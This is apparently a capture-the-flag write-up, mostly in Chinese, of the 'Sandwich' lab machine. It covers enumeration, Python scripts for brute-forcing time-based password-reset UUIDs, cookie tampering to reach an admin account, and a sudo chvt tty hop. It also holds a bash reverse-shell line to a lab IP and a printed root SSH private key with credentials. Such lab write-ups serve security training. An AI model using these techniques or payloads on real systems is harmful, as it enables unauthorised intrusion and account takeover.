bash
$ nmap -sVC -O 192.168.31.218 -p 22,80 -o nmapscan/nmap_tcp
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-03 22:17 EDT
Nmap scan report for sandwich (192.168.31.218)
Host is up (0.00087s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 4d:30:db:f3:d0:b5:b2:65:8d:3b:08:dc:56:2b:28:b9 (ECDSA)
|_ 256 16:9f:f2:7f:ca:5a:a2:03:65:9e:f1:09:ae:15:f7:8b (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Sandwich.nyx | Your Favorite Sandwiches!
MAC Address: 08:00:27:74:26:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.27 secondsbash
$ gobuster dir -u http://Sandwich.nyx/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --random-agent -b 401,403,404,500 -x php,html -t 10
/index.php (Status: 200) [Size: 7845]
/download.php (Status: 200) [Size: 58]
/img (Status: 301) [Size: 310] [--> http://sandwich.nyx/img/]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/vendor (Status: 301) [Size: 313] [--> http://sandwich.nyx/vendor/]
/config.php (Status: 200) [Size: 0]
$ gobuster dir -u http://Sandwich.nyx/vendor -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --random-agent -b 401,403,404,500 -x php,html -t 10
/index.html (Status: 200) [Size: 0]
/composer (Status: 301) [Size: 322] [--> http://sandwich.nyx/vendor/composer/]
bash
$ wfuzz --hh 7844 -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://sandwich.nyx/ -H "Host:FUZZ.sandwich.nyx"
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000005: 302 0 L 0 W 0 Ch "webmail"
$ gobuster dir -u http://webmail.sandwich.nyx/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --random-agent -b 401,403,404,500 -x php,html -t 10
/index.php (Status: 302) [Size: 0] [--> login.php]
/login.php (Status: 200) [Size: 784]
/register.php (Status: 200) [Size: 856]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/config.php (Status: 200) [Size: 0]
/inbox.php (Status: 302) [Size: 0] [--> login.php]
基本扫描结束,我们来进行业务逻辑的探索
这里是一个邮箱系统的登录页面,当注册 admin@sandwich.nyx 被告知已经有这个用户了 爆破密码最后再考虑

我们注册一个 ding@sandwich.nyx:ding 的用户进去看一下
看到是一个邮箱系统
可以正常发送消息


在主站也有一个登录注册页面,我们使用刚才的邮箱进行注册
然后并没有什么发现,我们再尝试其他的思路
我们退出登录,发现有一个重设密码的功能

后面很像一个 uuid 的样子
我们在发几遍

发现后面不变
这里有两种做法,第一种应该是标准做法
resetpasswd.py:
python
import requests
def reset_password(email):
url = " http://sandwich.nyx/index.php"
data = {
"email": email,
"reset_action": "1"
}
headers = {
"Host": "sandwich.nyx",
"Origin": " http://sandwich.nyx",
"Referer": " http://sandwich.nyx/index.php",
}
response = requests.post(url, data=data, headers=headers)
return response
def main():
reset_password("ding@sandwich.nyx")
reset_password("admin@sandwich.nyx")
reset_password("ding@sandwich.nyx")
if __name__ == "__main__":
main()
uuid_generator.py
import os
def uuid_to_int(uuid_str):
"""将UUID字符串转换为整数"""
# 只取前8个字符(32位)进行处理,因为只有这部分在变化
prefix = uuid_str.split('-')[0]
# 转换为整数
return int(prefix, 16)
def int_to_uuid(num, template):
"""将整数转换回UUID格式"""
# 使用原始UUID作为模板,只替换前8个字符
hex_str = f"{num:08x}"
# 将原始UUID中的前8个十六进制字符替换为新值
template_parts = template.split('-')
template_parts[0] = hex_str
# 重新组合UUID
result = '-'.join(template_parts)
return result
def main():
# 两个UUID
uuid1 = "866eed42-1222-11f0-8069-080027742682"
uuid2 = "86690698-1222-11f0-8069-080027742682"
# 转换为整数
int1 = uuid_to_int(uuid1)
int2 = uuid_to_int(uuid2)
# 确保int1 <= int2
if int1 > int2:
int1, int2 = int2, int1
uuid1, uuid2 = uuid2, uuid1
# 计算UUID数量
uuid_count = int2 - int1 + 1
# 计算占用空间(每个UUID是36个字符加一个换行符,共37字节)
space_bytes = uuid_count * 37
# 转换为更友好的单位
if space_bytes < 1024:
space_str = f"{space_bytes} 字节"
elif space_bytes < 1024 * 1024:
space_str = f"{space_bytes / 1024:.2f} KB"
elif space_bytes < 1024 * 1024 * 1024:
space_str = f"{space_bytes / (1024 * 1024):.2f} MB"
else:
space_str = f"{space_bytes / (1024 * 1024 * 1024):.2f} GB"
print(f"UUID范围: {uuid1} 到 {uuid2}")
print(f"整数范围: {int1} 到 {int2}")
print(f"需要生成的UUID数量: {uuid_count}")
print(f"预计占用空间: {space_str}")
# 询问用户是否继续
user_input = input("是否继续生成? (y/n): ")
if user_input.lower() != 'y':
print("已取消生成")
return
# 创建输出文件
output_file = "uuid.txt"
with open(output_file, 'w') as f:
# 生成字典
count = 0
for i in range(int1, int2 + 1):
uuid_str = int_to_uuid(i, uuid1)
f.write(uuid_str + '\n')
count += 1
print(f"字典生成完成,共 {count} 个UUID")
if __name__ == "__main__":
main()由观察可以看出,这个 token 生成是跟时间有关的,那么我们可以去分别请求 token,去得到 admin 的 token 的范围,然后我们去fuzz
bash
$ gobuster fuzz -m POST -u 'http://sandwich.nyx/resetpassword.php' --body 'token=FUZZ&new_password=password&confirm_password=password' -w uuid.txt --exclude-length 420 --random-agent还有一种方法,我采用了这种方法,就是这个 web 设计的一个漏洞
首先勾选 remember me,登录到自己的里面

bp 开启拦截,然后刷新

可以看到这个 cookie 已经有了变化,然后我们进行修改

修改一下 cookie 的 会话信息,和 admin 用户信息


可以看到页面发生变化

修改一下浏览器的 cookie

成功下载

Email,Bread,Ingredients,Sauces,"Created At"
ll104567_9q@sandwich.nyx,"Whole Wheat","Ham,Cheese,Tomato",Mustard,"2025-03-30 19:04:31"
suraxddq_tw@sandwich.nyx,White,"Ham,Cheese,Lettuce,Tomato","Mayonnaise,Ketchup","2025-03-30 19:04:56"
xerosec_w5@sandwich.nyx,Rye,"Cheese,Lettuce",Mustard,"2025-03-30 19:05:19"
j4ckie_x5@sandwich.nyx,"Whole Wheat","Cheese,Lettuce,Tomato","Mayonnaise,Mustard,Ketchup","2025-03-30 19:05:52"
matthygd_x@sandwich.nyx,"Whole Wheat","Cheese,Lettuce","Mayonnaise,Mustard","2025-03-30 19:07:19"bash
$ cat mail | grep @ | awk -F ',' '{print $1}'
ll104567_9q@sandwich.nyx
suraxddq_tw@sandwich.nyx
xerosec_w5@sandwich.nyx
j4ckie_x5@sandwich.nyx
matthygd_x@sandwich.nyx
$ cat mail | grep @ | awk -F ',' '{print $1}' > user
使用这个字典爆破一下

matthygd_x@sandwich.nyx:qweasd

matthygd_xy:tGCD9XIP03IHpSCDdoRu权限提升
To ll104567
bash
$ ssh matthygd_xy@sandwich.nyx
matthygd_xy@sandwich.nyx's password: tGCD9XIP03IHpSCDdoRu
matthygd_xy@sandwich:~$ cat user.txt
c158efefab9bfd356fa8e9ec3c440da1bash
matthygd_xy@sandwich:/home$ sudo -l
Matching Defaults entries for matthygd_xy on sandwich:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User matthygd_xy may run the following commands on sandwich:
(root) NOPASSWD: /bin/chvt
matthygd_xy@sandwich:/home$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
matthygd_xy:x:1000:1000:,,,:/home/matthygd_xy:/bin/bash
ll104567:x:1001:1001:,,,:/home/ll104567:/bin/bashbash
matthygd_xy@sandwich:/home$ find / -user ll104567 2>/dev/null | grep -vP 'sys|proc'
/run/user/1001
/dev/tty20
/home/ll104567bash
matthygd_xy@sandwich:/home$ sudo chvt 20To root
bash
$ cat index.html
bash -c "bash -i >& /dev/tcp/192.168.31.187/1234 0>&1"输入法有问题,我们弹个 shell 回来
bash
(remote) ll104567@sandwich:/home/ll104567$ id
uid=1001(ll104567) gid=1001(ll104567) grupos=1001(ll104567),100(users)
(remote) ll104567@sandwich:/home/ll104567$ sudo -l
Matching Defaults entries for ll104567 on sandwich:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ll104567 may run the following commands on sandwich:
(ALL) NOPASSWD: /opt/game.shbash
(remote) ll104567@sandwich:/home/ll104567$ cat /opt/game.sh
#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
MAX=2000000
ATTEMPTS=$(/usr/bin/awk -v max="$MAX" 'BEGIN {printf "%d", (log(max)/log(2) + 0.999999)}')
/bin/echo "Hello! What is your name?"
read NAME
NUMBER=$(( ( RANDOM % MAX ) + 1 ))
/bin/echo "Well, $NAME, I'm thinking of a number between 1 and $MAX."
/bin/echo "You have $ATTEMPTS attempts to guess it."
ATTEMPTS_MADE=0
SECRET_FILE="/root/.ssh/id_rsa"
while [ $ATTEMPTS_MADE -lt $ATTEMPTS ]; do
/bin/echo "Try to guess:"
read GUESS
# Validate that the input is a valid number
if ! [[ "$GUESS" =~ ^[0-9]+$ ]]; then
/bin/echo "Please, enter a valid number."
continue
fi
ATTEMPTS_MADE=$((ATTEMPTS_MADE + 1))
if [ $GUESS -lt $NUMBER ]; then
/bin/echo "Your guess is too low."
elif [ $GUESS -gt $NUMBER ]; then
/bin/echo "Your guess is too high."
else
break
fi
done
if [ $GUESS -eq $NUMBER ]; then
/bin/echo "Good job, $NAME! You guessed my number in $ATTEMPTS_MADE attempts!"
/bin/echo "Here's your reward:"
/bin/cat "$SECRET_FILE"
else
/bin/echo "No, the number I was thinking of was $NUMBER."
fibash
(remote) ll104567@sandwich:/home/ll104567$ sudo /opt/game.sh
Hello! What is your name?
1
Well, 1, I'm thinking of a number between 1 and 2000000.
You have 21 attempts to guess it.
Try to guess:
10000
Your guess is too high.
Try to guess:
5000
Your guess is too low.
Try to guess:
6000
Your guess is too low.
Try to guess:
7000
Your guess is too low.
Try to guess:
8000
Your guess is too low.
Try to guess:
9000
Your guess is too high.
Try to guess:
8500
Your guess is too high.
Try to guess:
8250
Your guess is too high.
Try to guess:
8125
Your guess is too high.
Try to guess:
8062
Your guess is too high.
Try to guess:
8031
Your guess is too low.
Try to guess:
8046
Your guess is too low.
Try to guess:
8054
Your guess is too low.
Try to guess:
8058
Your guess is too high.
Try to guess:
8056
Your guess is too low.
Try to guess:
8057
Good job, 1! You guessed my number in 16 attempts!
Here's your reward:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----bash
(remote) ll104567@sandwich:/home/ll104567$ chmod 600 id
(remote) ll104567@sandwich:/home/ll104567$ ssh -i id root@localhost
root@sandwich:~# cat root.txt
a4e728e6ffc502beea7570a75348af44